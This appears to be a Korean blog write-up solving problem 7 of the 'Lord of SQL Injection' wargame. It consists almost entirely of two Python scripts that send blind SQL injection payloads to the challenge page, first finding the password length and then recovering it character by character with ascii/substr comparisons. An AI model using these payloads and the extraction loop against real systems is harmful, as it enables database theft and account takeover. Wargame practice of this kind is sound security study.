Oh! JUN

[Lord Of SQL Injection] 7번 본문

문제풀이/Lord of SQL Injection

[Lord Of SQL Injection] 7번

Kwon Oh! JUN 2022. 1. 30. 23:58

패스워드 길이 구하는 코드 

import requests
import string

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = dict(PHPSESSID="쿠키값")

for i in range(1,100):
    param = "?pw='|| length(pw)="+str(i)+"%23"
    len_result = url+param
    response = requests.get(len_result, cookies=cookie)

    if response.text.find("Hello guest")>0:
        print("password :"+str(i))
        break

패스워드 구하는 코드

import requests
import string

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = dict(PHPSESSID="쿠키값")

asc = string.digits+string.ascii_letters
result=""

for i in range(1,18):
    for j in asc:
        param = "?pw='||ascii(substr(pw,"+str(i)+",1))="+str(ord(j))+"%23"
        print(j)
        res_url = url+param
        response = requests.get(res_url, cookies=cookie)

        if response.text.find("Hello admin")>0:
            print(j)
            result+=j
            break
print("pw :"+result)